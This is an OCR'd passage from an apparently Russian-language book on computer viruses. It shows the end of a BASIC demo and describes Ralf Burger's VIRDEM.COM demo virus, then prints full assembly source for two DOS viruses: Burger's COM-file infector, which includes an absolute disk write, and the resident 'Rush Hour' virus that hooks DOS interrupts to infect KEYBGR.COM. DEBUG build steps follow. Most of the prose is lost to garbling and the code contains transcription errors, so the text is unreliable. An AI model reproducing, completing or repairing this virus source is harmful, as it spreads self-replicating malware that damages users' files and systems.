      S4$+S26$+S6$+S7$+" "+S9$+CHR$(13)
3120  K5$=S9$+S2010$+S2010$+S1010$+S210$+S210$+S210$+S9$
3130  L1$=S9$+S2011$+S2011$+S1011$+S211$+S211$+S211$+S9$+CHR$(13)
3140  L2$=S9$+" "+S8$+S6$+S5$+S26$+S26$+S6$+S5$+S26$+S6$+S5$+S206$+

                           - 160 -
      S26$+S26$+S5$+S106$+S6$+S5$+S26$+S6$+S2$+" "+S9$+CHR$(13)
3150  L3$=S9$+" "+S1$+"K"+S1$+" VIR "+S1$+" 2-   "+
      S1$+" 1-  "+S1$+"MOV "+S1$+" "+S9$+CHR(13)
3160  M2$=S1$+" MOV "+S1$
3170  M3$=S4$+S26$+S6$+S7$
3180  L4$=S9$+" "+S3$+S4$+S26$+S26$+S6$+S4$+S26$+S6$+S4$+S206$+S26$+
      S26$+S4$+S106$+S6$+S4$+S26$+S7$+" "+S9$+CHR$(13)
3190  L5$=S9$+S2010$+S2010$+S1010$+S210$+S210$+S9$+CHR$(13)
3200  AW11$=L1$+L2$ :AW12$=L3$+L4$+L5$
3210  REM ***    ***
3220  LOCATE 1, 1:COLOR A1, B:PRINT TR1$
3230  LOCATE 1, 43:COLOR A3, B
3240  PRINT " <<== - "
3250  GOSUB 4910
3260  LOCATE 7, 1:COLOR A1, B:PRINT AW1$;
3270  LOCATE 13,1:PRINT AW2$;
3280  GOSUB 4480
3290  LOCATE 3, 49:COLOR A2, B
3300  PRINT "    "
3310  LOCATE 1,1: COLOR A3, 1:PRINT TR1$
3320  GOSUB 4480
3330  LOCATE 3, 49:COLOR A2, B
3340  PRINT "    "
3350  LOCATE 9, 17:COLOR A3+16, B
3360  PRINT " 1-   "
3370  GOSUB 4480
3380  LOCATE 9, 17:COLOR A1, B
3390  PRINT " 1-   "
3400  LOCATE 9, 4:COLOR A4+16, B:PRINT "K"
3410  LOCATE 3, 49:COLOR A2, B
3420  PRINT "   ? "
3430  LOCATE 4, 49:COLOR A2, B
3440  PRINT " ===>> "
3450  GOSUB 4480
3460  LOCATE 3, 49:COLOR A2, B
3470  PRINT "   1 "
3480  LOCATE 3, 49:COLOR A2, B
3490  PRINT "                                "
3500  LOCATE 8, 3:COLOR A4+16, B:PRINT X1$

                           - 161 -
3510  LOCATE 9, 3:COLOR A4+16, B:PRINT X2$
3520  LOCATE 10, 3:COLOR A4+16, B:PRINT X3$
3530  GOSUB 4480
3540  LOCATE 4, 49:COLOR A2, B
3550  PRINT "                    "
3560  GOSUB 4480
3570  LOCATE 7, 1:COLOR A1, B:PRINT ST21$;ST22$
3580  LOCATE 8, 3:COLOR A4, B:PRINT X1$
3590  LOCATE 9, 3:COLOR A4, B:PRINT X2$
3600  LOCATE 10, 3:COLOR A4, B:PRINT X3$
3610  LOCATE 8, 40:COLOR A4, B:PRINT Y1$
3620  LOCATE 9, 40:COLOR A4, B:PRINT Y2$
3630  LOCATE 10, 40:COLOR A4, B:PRINT Y3$
3640  GOSUB 4480
3650  LOCATE 3, 49:COLOR A2, B
3660  PRINT "    MOV "
3670  LOCATE 4, 49:COLOR A2, B
3680  PRINT "                                "
3690  LOCATE 2, 15:COLOR A4+16, B:PRINT M1$
3700  LOCATE 3, 15:COLOR A4+16, B:PRINT M2$
3710  LOCATE 4, 15:COLOR A4+16, B:PRINT M3$
3720  GOSUB 4480
3730  LOCATE 2, 15:COLOR A4, B:PRINT M1$
3740  LOCATE 3, 15:COLOR A4, B:PRINT M2$
3750  LOCATE 4, 15:COLOR A4, B:PRINT M3$
3760  LOCATE 7, 1:COLOR A1, B:PRINT MT21$;MT22$
3770  LOCATE 8, 52:COLOR A4, B:PRINT M1$
3780  LOCATE 9, 52:COLOR A4, B:PRINT M2$
3790  LOCATE 10,52:COLOR A4, B:PRINT M3$
3800  GOSUB 4480
3810  LOCATE 3, 49:COLOR A2, B
3820  PRINT "     "
3830  LOCATE 4, 49:COLOR A2, B
3840  PRINT "  1                   "
3850  LOCATE 2, 3:COLOR A4+16, B:PRINT V1$
3860  LOCATE 3, 3:COLOR A4+16, B:PRINT V2$
3870  LOCATE 4, 3:COLOR A4+16, B:PRINT V3$
3880  GOSUB 4480
3890  LOCATE 2, 3:COLOR A4, B:PRINT V1$

                           - 162 -
3900  LOCATE 3, 3:COLOR A4, B:PRINT V2$
3910  LOCATE 4, 3:COLOR A4, B:PRINT V3$
3920  LOCATE 8, 3:COLOR A4, B:PRINT V1$
3930  LOCATE 9, 3:COLOR A4, B:PRINT V2$
3940  LOCATE 10, 3:COLOR A4, B:PRINT V3$
3950  GOSUB 4480
3960  LOCATE 3, 49:COLOR A2, B
3970  PRINT "    - "
3980  LOCATE 4, 49:COLOR A2, B
3990  PRINT "                                "
4000  GOSUB 4480
4010  LOCATE 1,1/ COLOR A1, B:PRINT TR1$
4020  GOSUB 4480
4030  LOCATE 3, 49:COLOR A2, B
4040  PRINT "                      "
4050  LOCATE 4, 49:COLOR A2, B
4060  PRINT "                                 "
4070  GOSUB 4480
4080  LOCATE 7, 1:COLOR A3, B:PRINT VI21$;VI22$
4090  GOSUB 4480
4100  LOCATE 3, 49:COLOR A2, B
4110  PRINT "                      "
4120  LOCATE 4, 49:COLOR A2, B
4130  PRINT "                 "
4140  GOSUB 4480
4150  LOCATE 13, 1:COLOR A1, B:PRINT AW21$;AW22$
4160  LOCATE 3, 49:COLOR A2, B
4170  PRINT "               "
4180  LOCATE 4, 49:COLOR A2, B
4190  PRINT " 1-                "
4200  GOSUB 4480
4210  LOCATE 8, 40:COLOR A4+16, B:PRINT Y1$
4220  LOCATE 9, 40:COLOR A4+16, B:PRINT Y2$
4230  LOCATE 10,40:COLOR A4+15, B:PRINT Y3$
4240  GOSUB 4480
4250  LOCATE 3, 49:COLOR A2, B
4260  PRINT "             "
4270  LOCATE 4, 49:COLOR A2, B
4280  PRINT "  1-         "

                           - 163 -
4290  LOCATE 8, 3:COLOR A4, B:PRINT X1$
4300  LOCATE 9, 3:COLOR A4, B:PRINT X23$
4310  LOCATE 10, 3:COLOR A4, B:PRINT X3$
4320  LOCATE 8, 40:COLOR A4, B:PRINT Y1$
4330  LOCATE 9, 40:COLOR A4, B:PRINT Y2$
4340  LOCATE 10,40:COLOR A4, B:PRINT Y3$
4350  GOSUB 4480
4360  LOCATE 3, 49:COLOR A2, B
4370  PRINT " ,               "
4380  LOCATE 4, 49:COLOR A2, B
4390  PRINT "                   "
4400  LOCATE 5,49:COLOR A2, B
4410  PRINT "                 "
4420  GOSUB 4480
4430  LOCATE 7, 1:COLOR A3, B:PRINT AW1$
4440  REM *** ENDE ***
4450  AUT$="1"
4460  GOSUB 4480
4470  GO TO 120
4480  IF AUT$="2" THEN RETURN
4490  IF INKEY$="" GO TO 4480
4500  RETURN
4510  REM ***   ***
4520  COLOR A2, B:LOCATE 10,1
4530  PRINT "   (1)              "
4540  COLOR A2, B
4550  PRINT "      (2)    "
4560  COLOR A2, B
4570  PRINT "                 "
4580  COLOR A2, B
4590  PRINT "               "
4600  GOSUB 4910
4610  AUT$=INKEY$
4620  IF AUT$="0" THEN SYSTEM
4630  IF AUT$<>"1" AND AUT$<>"2" AND AUT$<>"9" GO TO 4610
4640  IF AUT$="9" THEN GO TO 4660
4650  RETURN
4660  CLS:COLOR A2, B: COLOR 4910
4670  COLOR A2, B

                           - 164 -
4680  PRINT "  =0 =1 =2  =3 ";
4690  PRINT " =4 -=5 "
4700  COLOR A2, B
4710  PRINT " =6 =7 =8 -=9 ";
4720  PRINT " -=1= -=11 "
4730  COLOR A2, B
4740  PRINT " =12 =13 =14 -=15 "
4750  PRINT :PRINT
4760  INPUT "  : "; B
4770  COLOR A1, B
4780  PRINT "            "
4790  INPUT "    :"; A1
4800  COLOR A1,B:PRINT "                      "
4810  INPUT "   :"; A2:
4820  PRINT "       "
4830  INPUT "    :"; A3
4840  COLOR A3, B:PRINT "      1"
4850  INPUT "  ,    :"; A4
4860  COLOR A4, B:PRINT "      2"
4870  GOSUB 4480
4880  CLS
4890  REM ***    ***
4900  GO TO 4520
4910  DATA &h43,&H6e,&H6e,&H76,&H6e,&H64,&H61,&H61
4920  DATA &H6c,&H17,&H58,&H6e,&H14,&H45,&H20,&H33
4930  DATA &h65,&H61,&H55,&H52,&H5e,&H0b,&H1b,&H22
4940  DATA &h20,&H1e,&H6,&H5,&H38,&H48,&H4e,&Hf
4950  DATA &h0,&Hf,&H13,&H16,&Hf,&Hd,&H9,&He
4960  DATA &he,&he,&H7
4970  RESTORE
4980  LOCATE 7,65
4990  FOR F=0 TO 12
5000  READ A:PRINT CHR$(A+F);
5010  NEXT
5020  LOCATE 8,65
5030  FOR F=13 TO 27
5040  READ A: PRINT CHR(A+F);
5050  NEXT
5060  LOCATE 9,65

                           - 165 -
5070  FOR F=28 TO 42
5080  READ A: PRINT CHR(A+F);
5090  NEXT
5100  RETURN

                         9.7 VIRDEM.COM

                
 1987  ,        
- VIRDEM.COM.         
     -.
     ,         
VIRDEM.COM         . -
         -
.  ,  ,  , -
            -
             
       8088.  
  ,        
 (   !)   VIRDEM.COM.
        - -
,         
   .  , 
    ,       
 VIRDEM.COM.   ,    
 ,        -
:
     "       VIRDEM.COM  
              "
"". ,      -
        ",     
 .      -
  " ".
      VIRDEM.COM   ,   -
  MS-DOS     -
,          ""
.      -
    " ",     -
   .

                           - 166 -
       VIRDEM.COM      "  "
  ,    .    -
   ""    ,  
   "" -
 .
       VIRDEM.COM    
"",     - ,   
   -     "-
".         
.       
  "-",       
.    VIRDEM.COM    -
,       .
        ,  "-
  "  VIRDEM.COM,      
.       "  -
".  ,       
          -
  .

                   VIRDEM.COM

1.       -    2-
     .
2.    -       -
      (    COMMAND.COM).
3.   -,    1,5 ,  -
         1,5  ,     -      3
     .
4.      .
5.      ,        
      .
6.    VIRDEM.COM     -
       .    -
       ,     
       .
7.    VIRDEM.COM    9- .
          ,       
     .

                           - 167 -

     ,    VIRDEM.COM

1.     ,             
     VIRDEM.COM.    ,     
     ,   ""    
       - .   
       .    
       .
2.       !         
     ""           ,
           "-
     "  ,    . -
             
          .
3.              -
     (,     MS-DOS).   
     .
4.       VIRDEM.COM      
         .    -
      :

     (    -    :1.01     (
     1) .
       . 1986,1987
     .:05932/5451)
     Virdem Ver.1.01 (Generation 1) aktiv.
     Copyrigth by R.Burger 1986, 1987
     Tel.:05932/5451)

         ,    -  
     ,  .
5.    .    ,  
     :

COMMAND  COM  16597  5.12.86  17.59
ASSIGN   COM   2616  7.03.85  10.36
CHKDSK   COM   7058  7.03.85  10.54
COMP     COM   2710  5.12.86  18.00

                           - 168 -
DEBUG    COM  12361 19.09.86  11.16
DISKCOMP COM   2951  7.03.85  10.24
VIRDEM   COM   1278 24.12.86  12.03

          ASSIGN.COM ( -
       ).
6.   ASSIGN.COM.    
     :
     Virdem Ver.1.01 (Generation 2) aktiv.
     Copyrigth by R.Burger 1986, 1987
     Tel.:05932/5451)
Dies ist ein Demoprogramm fuer (  
Computerviren. Geben Sie nun    . ,
bitte eine Zahl ein.             .  
Wenn Sie richtig raten,         ,  -
duerfen Sie weiterarbeiten.     .
Due Zahl legt Zwischen              0
0 und 2                         2)

        .    
:  ..        0   2.
   ,    -
,    ,     -
 ,     (, <I>)  -
  .     -
 ASSIGN.COM      .   
   CHKDSK.COM.
              .  
     .  -
          
  .     ,    -
  9.  3     -
 4,  4 -  5  ..
7.        "  -
      .       -
     :
     Alle Ihre Programme sind      (  
     nun durchseucht.              .)
     Virdem Ver.1.01 (Generation x) aktiv.

                           - 169 -
     Copyrigth by R.Burger 1986, 1987
     Tel.:05932/5451)
Dies ist ein Programm fuer    (  
Computerviren. Geben Sie nun   . ,
bitte eine Zahl ein.            .  
Wenn  Sie  richtig raten,       ,    
duerfen Sie weiterarbeiten.    .
Due Zahl liegt Zwischen            0  )
0 und x

8.          
          ,     
       .      -
          -
     .

                       

             -
   .        -
  .
                  
VIRDEM.COM:

!!!                                      !!!
!!! ""   ""         !!!
!!!         (),    !!!
!!!             !!!
!!!   .                                    !!!

             ,  VIRDEM.COM
      .
              VIRDEM.COM.
      - ,   .
         ""    
  ,   :

     Ralf Burger               
     Systemingenieur          -

                           - 170 -
     Postfact 1105
     D-4472 Haren
     Tel.: 0  59  32/54  51
              
  ,          
 VIRDEM.COM.










     10.    ,  
                   c -

           
 -?..
             -
:  "".   , ,  ,  
          
,    
     .   ,
,         -
 ,         -
.      -        
  ,      -
   .
            VS-DOS 3.10  
     -,    
         -
.        -
   , ,   
"" ,      -
            
   .  ,     ,
  ,  ""  ,  
 ""   .
       ,           
,            
  -:
                      !
           ""    
    .     
    .
          ""    
 ,    -
  .

                    10.1   

                           - 172 -

      ,   ,   
  -,   
,    .  -
   MS-DOS,  2.11,       
  MS-DOS.      -
 ,     .  
    ,      (  500  )
-      , ,
      .  ,  
      .

     page 70,1209
     Name VIRUS
;****************************************************************
;    Programm Virus                  Ver.1.1
;    Cpyright by R.Burger 1986
;    Dies ist ein Demoprogramm fuer Computerviren
;    Es hat die Eigenschaft sich selbst zu
;    vervielfaeltigen
;    und dadurch andere Programme zu verandern
;****************************************************************
;    -      1.1
;     . , 1986
;         .
;         
;        
;****************************************************************
Code      Segment
          Assum     CS:Code
progr     equ       100h
          ORG       progr
;****************************************************************
;      nop  ""   
;    ,      "-
;    " 
;****************************************************************
MAIN:
          nop

                           - 173 -
          nop
          nop
;*****************************************************************
;     
;*****************************************************************
          mov ax,00
          mov ex:[pointer],ax
          mov ex:[counter],ax
          mov ex:[disks],ax
;*****************************************************************
;      
;*****************************************************************
          mov ax,19h          ;drive?   ?
          int 21h
;*****************************************************************
;          
;*****************************************************************
          mov cs:drive,a1     ;  
          mov ah,47h          ; dir     ?
          mov dh,0
          add a1,1
          mov d1,a1           ;   
          lea si,cs:old_path
          int 21h
;*****************************************************************
;       
;         , 
;        searchorder+6
;*****************************************************************
          mov ah,0eh           ;   
          mov d1,0             ;
          int 21h

          mov a1,01
          cpm a1,01            ;  ?
          jns hups3
          mov a1,06

hups3:    mov ah,0

                           - 174 -
          lea bx,search_order
          add bx,ax
          add bx,0001h
          mov cs:pointer,bx
          clc
;*****************************************************************
;      ,      
;        .. ,     
;    ,  .    .  "-
;    " .       
;      .,   :  " 
;          "
;*****************************************************************
change_disc:
          jnc no_name_change       ;  exe  .com
          mov ah,17h
          lea dx,cs:maske_exe
          int 21h
          cmp a1,0ffh
          jnz no_name_change       ; .EXE found?  .exe ?
;*****************************************************************
;        .COM  .EXE,   ,
;           mc.   
;      ""   .    ""
;              
;    .
;*****************************************************************
          mov ah,2ch               ;   
          int 21h
          mov bx,cs:pointer
          mov a1,cs:[bx]
          mov bx,dx
          mov cx,2
          mov dh,0
          int 26h                  ;   
;*****************************************************************
;    ,          
;    .  ,  .
;*****************************************************************

                           - 175 -

no_name_change:
           mov bx,cs:pointer
           dec bx
           mov cs:pointer,bx
           mov dl,cs:[bx]
           cmp dl,0ffh
          jnz hups2
          jnz hops

;*****************************************************************
;               
;        
;*****************************************************************

hips2:
           mov ah,0eh
           int 21h                 ;  
;*****************************************************************
;       
;*****************************************************************
           mov ah,3bh              ;  
               lea dx,path
               int 21h
               jmp find_first_file
;*****************************************************************
;           ,         
;    .        .EXE       
;      -.
;*****************************************************************

find_first_subdir:
                mov ah,17h         ;   .  .
                    lea dx,cs:maske_exe
                    int 21h
                mov ah,3bh         ;   
                    lea dx,path
                    int 21h
                mov ah,04eh        ;    

                           - 176 -
                mov cx,00010001b   ;  mask
                lea dx,maske_dir   ;
                int 21h            ;
                jc change_disk
                mov bx,CS:counter
                INC BX
                DEC bx
                jz use_next_subdir
;*****************************************************************
;       .     
;    ,  .
;*****************************************************************

find_next_subdir:
                mov ah,4fh         ;    
                    int 21h
                    jc change_disk
                    dec bx
                    jnz find_next_subdir:
;*****************************************************************
;      
;*****************************************************************

use_next_subdir:
                mov ah,2fh         ;   dta
                int 21h
                add bx,1ch
                mov es:[bx], '\'   ;     dta
                 inc bx
                push ds
                mov ax,es
                mov ds,ax
                mov dx,bx
                mov ah,3bh         ;  
                int 21h
                pop ds
                mov bx,cs:pcounter,bx
                inc bx
                mov cs:counter,bx

                           - 177 -
;*****************************************************************
;        -   .     
;    ,    .
;*****************************************************************
find_first_file
                mov ah,04eh        ;   
                mov cx,00000001b   ; mask
                lea dx,maske_com   ;
                int 21h            ;
                jc find_first_subdir
                jmp check_if_ill
;*****************************************************************
;       ,   
;*****************************************************************

find_next_file:
                 mov ah,4fh         ;  
                 int 21h
                 jc find_first_subdir:
;*****************************************************************
;     ""     .
;*****************************************************************
check_if_ill:
                mov ah,4fh         ;   /
                mov a1,02h         ; /
                mov dx,9eh         ;    dta
                int 21h
                mov  bx,ax         ;     
                                   ; /
                mov ah,3fh         ;  
                mov cx,buflen      ;
                mov dx,buffer      ;   
                int 21h
                mov ah,3eh         ;  
                int 21h
;*****************************************************************
;          "".
;         ,    .  
;     .

                           - 178 -
;*****************************************************************
                mov bx,cs:buffer
                cmp bx,9090h
                jz find_next_file
;*****************************************************************
;        
;*****************************************************************

                mov ah,43h         ;  
                mov a1,0
                mov dx,9eh         ;     dta
                int 21h
                mov ah,43h
                mov a1,01h
                and cx,11111110b
                int 21h
;*****************************************************************
;       /
;*****************************************************************
               mov ah,3dh          ;   /
               mov a1,02h          ; /
               mov dx,9eh          ;   
               int 21h
;*****************************************************************
;                
;    .
;*****************************************************************
               mov bx,ax           ;  /
               mov ah,57h          ;   
               mov a1,0
               int 21h
               push cx             ;  
               push dx
;*****************************************************************
;      ,     0100h  ,
;        .
;*****************************************************************
               mov dx,cs: conta    ;   
               mov cs:jmpbuf,dx    ; 

                           - 179 -
               mov dx,cs: buffer+1 ;   
               lea cx,cont-100h
               sub dx,cx
               mov cs: conta,dx
;*****************************************************************
;    ""      
;*****************************************************************

               mov ah,40h          ;  
               mov cx,buflen       ;  
               lea dx,main         ;  
               int 21h
;*****************************************************************
;         .
;*****************************************************************
              mov ah,57h          ;  
              mov a1,1
              pop ds
               pop cs              ;  
               int 21h
;*****************************************************************
;     .
;*****************************************************************
               mov ah,3eh          ;  
               int 21h
;*****************************************************************
;        .  ,  
;           ,          
;    -  .      
;    -  ,   .
;            
;      ""  . , ""    
;        ,      ,      
;      .
;*****************************************************************
                mov  dx,cs:jmpbuf   ;     
                                    ; 
                mov cs: conta,dx
hops:           nop

                           - 180 -
                call use_old
;*****************************************************************
;      - .
;*****************************************************************

cont            db 0e9h            ;  
conta           dw 0
                mov ah,00
                int 21h
;*****************************************************************
;          .
;*****************************************************************

use_old:
                mov ah,0eh         ;   
                mov d1,cs:drive
                int 21h
;*****************************************************************
;       ,        
;     
;*****************************************************************
               mov ah,3bh          ;   
               lea   dx,old_path-1 ;   
                                   ; 
               int 21h             ;   
               ret
search_order   db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer        dw 0000             ;   
counter        dw 0000             ;   
disks          db 0                ;  

maske_com      db "*.com",00       ;  -
maske_dir      db "*",00           ;  
maske_exe      db 0ffh,0,0,0,0,0,00111111b
               db 0, "????????exe", 0, 0, 0, 0
               db 0, "????????com",0
maske_all      db 0ffh,0,0,0,0,0,00111111b
               db 0, "???????????", 0, 0, 0, 0
               db 0, "????????com",0

                           - 181 -

buffer         equ 0e000h          ;  
buflen         equ 230h            ;   !!!!
                                   ;  
                                   ;   !!!!

jmpbuf         equ buffer+buflen   ;    jmp
path           db  " ",0           ;   
drive          db 0                ;  
back_slash     db " "
old_path       db 32 dup(?)        ;   

code           ends
               end            main


                      

          ,      
 -   .      
  CHKDSK.COM.

Katalog von A:\

CHKDSK    COM    9947    4-22-85     12:00p
COMP      COM    3751    4-22-85     12:00p
DEBUG     COM   15611    4-22-85     12:00p
DISKCOMP  COM    4121    4-22-85     12:00p
DISKCOPY  COM    4425    4-22-85     12:00p
SORT      EXE    1664    4-22-85     12:00p
SHARE     EXE    8304    4-22-85     12:00p
SUBST     EXE   16627    4-22-85     12:00p
                 8 Dateien 268288 Bytes frei

        :

Katalog von A:\

CHKDSK    COM    9947    4-22-85     12:00p

                           - 182 -
COMP      COM    3751    4-22-85     12:00p
DEBUG     COM   15611    4-22-85     12:00p
DISKCOMP  COM    4121    4-22-85     12:00p
DISKCOPY  COM    4425    4-22-85     12:00p
SORT      EXE    1664    4-22-85     12:00p
SHARE     EXE    8304    4-22-85     12:00p
SUBST     EXE   16627    4-22-85     12:00p
                8 Dateien 268288 Bytes frei

             .  
       
CHKDSK.COM,      ,   
      NOP (HEX 90).
           -
 :

     0100  e9 65 26 43 6F 6E 76 65 72 74 65 64 00 00 00 00
           .  e  &  C  o  n  v  e  r  t  e  d  .  .  .  .

            -
:

     0100  90 90 90 B8 00 00 26 00 A3 A5 02 26 A3 A7 02 26 A2
       .  .  .  .  .  .  &  .  .  .    &  .  .  .   &  .

         ,   
 "" ,     -
     .  
CHKDSK   ,    -
     .       .
      ,  
   -.     
   :

Katalog von A:\

CHKDSK    COM    9947    4-22-85     12:00p
COMP      COM    3751    4-22-85     12:00p
DEBUG     COM   15611    4-22-85     12:00p

                           - 183 -
DISKCOM  COM    4121    4-22-85     12:00p
DISKCOPY  COM    4425    4-22-85     12:00p
SORT      COM    1664    4-22-85     12:00p
SHARE     COM    8304    4-22-85     12:00p
SUBST     COM   16627    4-22-85     12:00p
                8 Dateien 268288 Bytes frei

       ,   .    -,
       .  ,  
  ,   ,   -
  .      
  :    :

Katalog von A:\
               @'I = <
             0428923032   5-10-96  5:37a
             _a  ._07 . f_27836194  5-20-12  12:20a
                     2.8 Dateien 253952 Bytes frei

       ,    
    -     OMMAND.COM.  
      
. ,      
  .
      -,    , 
 ,        -
  .      -
  "Rush Houp" (" ").

                 "-"

     - " "      
    .    (
    )   
,    .   -
              .
  ,     
     .      
    :

                           - 184 -

1.          ,  ..  
          ,   
     (!!)   .
2.             
       .
3.       ,  ..  
       ""     ,    
         ,   /    
     .
4.          -
       ,        
     (.. , ""  ).
5.               -
            
            - -
     .
         ,     -
       (.COM   .).  
      :

1.    .  .     .  -
              
        .         
      .
2.         - 
       .
         :
           , -
  ,  ..        .  
        KEYBGR.COM.  
     ,     IBM  PC  
    PC-DOS 2.0,    (!)    MS-
DOS 2.11.       
   " 24",    
  IBM PC    . ,   -
     IBM,     -
,        -
   1543 ,         

                           - 185 -
  6459 . ,      
IBM  -      2000 ,
      ""  ""  6459  
(,  ,    4500     -
 ).  !
     ,    ,     -
   /     -
    .      
""               
KEYBGR.COM.  MS-DOS   9:00:03 (    -
   9:00),       -
   9:00:00. ,     
        .
             :

             PAGE    72,132
             TITL    Virus "RUSH ROUR"         (p) foxi, 1986

             NAME    VIRUS

ABSO         SEGMENT AT 0
             ORG     4*10H
VIDEO_INT    DW      2 DUP (?)           ;  
                                         ; VIDEO
             ORG     4*21H
DOS_INT      DW      2 DUP (?)           ; DOS     -"-
             ORG     4*21H
ERROR_INT    DW      2 DUP (?)           ; ERROR   -"-
             ENDS

CODE         SEGMENT
             ASSUME  CS:CODE, DS:CODE, ES:CODE
             ORG     05CH
FSB          LABEL   BYTE
DRIVE        DB      ?
FSPEC        DB      11 DUP(' ')          ;  
             ORG     6CH
FSIZE        DW      2 DUP (?)
FDATE        DW      ?                    ;  

                           - 186 -
                                          ;  
FTIME        DW      ?                    ;  -"-  -"-
             ORG     8OH
DTA          DW      128 DUP(?)           ;   
                                          ;  

             ORG     071EH                ;    
                                          ; 
                                          ; KEYBGR.COM
             XOR     AX,AX
             MOV     ES,AX                ; ES   
                                          ; ABSO
             ASSUME  ES:ABSO
             PUCH    CS
             POP     DS
             MOV     AX,VIDEO_INT         ;   
                                          ;  
                                          ; 
             MOV     BX,VIDEO_INT+2
             MOV     word ptr VIDEO_VECTOR,AX
             MOV     word ptr VIDEO_VECTOR+2,BX
             MOV     AX,DOS_INT
             MOV     BX,DOS_INT+2
             MOV     word ptr DOS_VECTOR,AX
             MOV     word ptr DOS_VECTOR+2,BX
             CLI
             MOV     DOS_INT,OFFSET VIRUS     ;   DOS
                                              ;  
                                              ; VIRUS
             MOV     DOS_INT+2,CS
             MOV     VIDEO_INT,OFFSET DISEASE ;  VIDEO
                                              ;  
                                              ; DISEASE
             MOV     VIDEO_INT+2,CS
             STI

             MOV     AH,0
             INT     1AH                      ; 
                                              ; TimeOfDay

                           - 187 -
                                              ; (TOO)
             MOV     TIME_0,DX

             LEA     DX,VIRUS_ENDE
             INT     27H                      ; 
                                              ; ,
                                              ;  
                                              ; 
VIDIO_VECTOR Dd  (?)
DOS_VECTOR   Dd  (?)
ERROR_VECTOR DW  2 DUP(?)
TIME_0       DW     ?

;
;       VIRUS :
;
;    1.     AH=4BH ?
;         :---> 2.
;          :  KEYBGR.COM   
;                 ?
;               : ---> 3.
;              :  !
;
;    2.      DOS
;
RNDVAL     DB     'bfhg'         ; 
ACTIVE     DB     0              ;   
PRESET     DB     0              ; !

           DB     'A:'
FNAME      DB     'KEYBGR COM'
           DB     0

VIRUS      PROC   FAR
           ASSUME CS:CODE, DS:NOTHING, ES:NOTHING

           PUSH   AX
           PUSH   CX
           PUSH   DX

                           - 188 -

           MOV    AH,0           ;  ,   
                                 ;   15 .
           INT    1AH            ;   
           SUB    DX,TIME_0      ; (16384  
           CMP    DX,16384       ;  =15 .)

           JL     $3
           MOV    ACTIVE,1       ;  , 
                                 ; 

$3:        POP    DX
           POP    CX
           POP    AX
                                 ;    
                                 ; 
           CMP    AX,4B00H       ; DOS
           JE     $1             ; "  
                                 ; "

EXIT_1:    JMP    DOS_VECTOR     ;  : --->  

$1:        PUSH   ES             ; ES:BS --->  
           PUSH   BX             ; DS:DX --->  
           PUSH   DX             ;  , 
                                 ;     INT 21H
           PUSH   DX             ; (AH=4BH)
           MOV    DI,DX
           MOV    DRIVE,0        ;   
           MOV    AL,DS: DI+1    ;  
                                 ; 
           CMP    AL,':'
           JNE    $5
           MOV    AL,DS: DI
           SUB    AL, 'A'-1
           MOV    DRIVE,AL

$5:
           CLD

                           - 189 -
           PUSH   CS
           POP    DS
           XOR    AX,AX
           MOV    ES,AX
           ASSUME DS: CODE, ES:ASSO
           MOV    AX,ERROR_INT    ;  
                                  ; ""  
           MOV    BX,ERROR_INT+2  ;  
                                  ;  
                                  ; 
           MOV    ERROR_VECTOR,AX
           MOV    ERROR_VECTOR+2,BX
           MOV    ERROR_INT,OFFSET ERROR
           MOV    ERROR_INT+2,CS

           PUSH   CS
           POP    ES
           ASSUME ES:CODE
           LEA    DX,DTA           ;   
                                   ;  
           MOV    AH,1AH
           INT    21H

           MOV    BX,11            ;   
$2:
           MOV    AL,FNAME-1 BX
           MOV    FSPEC-1 BX,AL    ;   
                                   ; 
           DEC    BX
           JNZ    $2

           LEA    DX,FCB           ;   (
           MOV    AH,0FH           ; )
           INT    21H
           CMP    AL,0
           JNE    EXIT_0           ;   
                                   ;---> 
           mov    byte ptr fcb+20h,0 ;


                           - 190 -
           MOV    AX,FTIME         ;   ?
           CMP    AX,4800H
           JE     EXIT_0           ;  ---> 

           MOV    PRESET,1         ; (  
                                   ; !)
           MOV    SI,100H          ;  
                                   ;  
$4:
           LEA    DI,DTA
           MOV    CX,128
           REP    MOVSB
           LEA    DX,FCB
           MOV    AH,15H
           INT    21H
           CMP    SI,OFFSET VIRUS_ENDE
           JL     $4
           MOV    FSIZE,OFFSET VIRUS_ENDE-100H
           MOV    FSIZE+2,0         ;  
                                    ;  
           MOV    FDATE,0AA3H       ;  
                                    ; (03.05.86)
           MOV    FTIME,4800H       ;  
                                    ;  (09:00:00)
           LEA    DX,FCB            ;  
           MOV    AH,10H
           INT    21H
           XOR    AX,AX
           MOV    ES,AX
           ASSUME ES:ABSO

           MOV    AX,ERROR_VECTOR     ;  
                                      ;  
           MOV    BX,ERROR_VECTOR+2
           MOV    ERROR_INT,AX
           MOV    ERROR_INT+2,BX

EXIT_0:
           POP    DX                  ;  

                           - 191 -
                                      ;  
           POP    DS
           POP    BX
           POP    ES
           ASSUME DS:NOTHING, ES:NOTHING
           MOV    AX,4B00H
           JMP    DOS_VECTOR          ;  
                                      ; 
VIRUS      ENDS

ERROR      PROC    FAR
           IRET                       ;  
                                      ;  
ERROR      ENDP

DISEASE    PROC   FAR

           ASSUME DS:NOTHING, ES:NOTHING
           PUSH   AX
           PUSH   CX                  ;  
                                      ;  !
           TEST   PRESET,1
           JZ     EXIT_2
           TEST   ACTIVE,1
           JZ     EXIT_2

            IN     AL,61H             ;  
            AND    AL,0FEH            ; ( 0:=0)
            OUT    61H,AL

            MOV    CX,3               ;   

NOISE:
           MOV    AL,RNDVA            ;   :
           XOR    AL,RNDVAL+3         ;   :
           SHL    AL,1                ;  
           SHL    AL,1                ;   :
           RCL    WORD PRT RNDVAL,1   ;   :
           RCL    WORD PRT RNDVAL+2,1 ;   :

                           - 192 -

           MOV    AH,RNDVAL
           AND    AH,2                ;  
           IN     AL,61H              ;  
           AND    AL,OFDH             ;  
           OR     AL,AH               ; 
           OUT    61H,AL              ;  
           LOOP   NOISE              ;--->  

           AND    AL,OFCH            ;  
           OR     AL,1
           OUT    61H,AL

EXIT_2:
           POP    CX
           POP    AX
           JMP    VIDEO_VECTOR       ;   
                                     ; 
DISEASE    ENDP
           DB '     -'
           DB '.  ,      '
           DB '          '
           DB '   .   '
           DB '        '
           DB '     '
           DB '.        '
           DB '    ,   '
           DB '   ""   '
           DB ' ...'

           ORG   1C2AH
VIRUS_ENDE LABEL      BYTE

CODE       ENDS
           END

        :

1.      ()

                           - 193 -
2.  EXE-  -!
3.   -  DEBUG
4.      300
5.    "w"   -  
6.  -    DEBUG
7.  EYBGR.COM
8.     71h
   71EH:  33  CO  8E  0E  1F  26
9.   EYBGR.COM    12  .

         " "    
 . ,     :
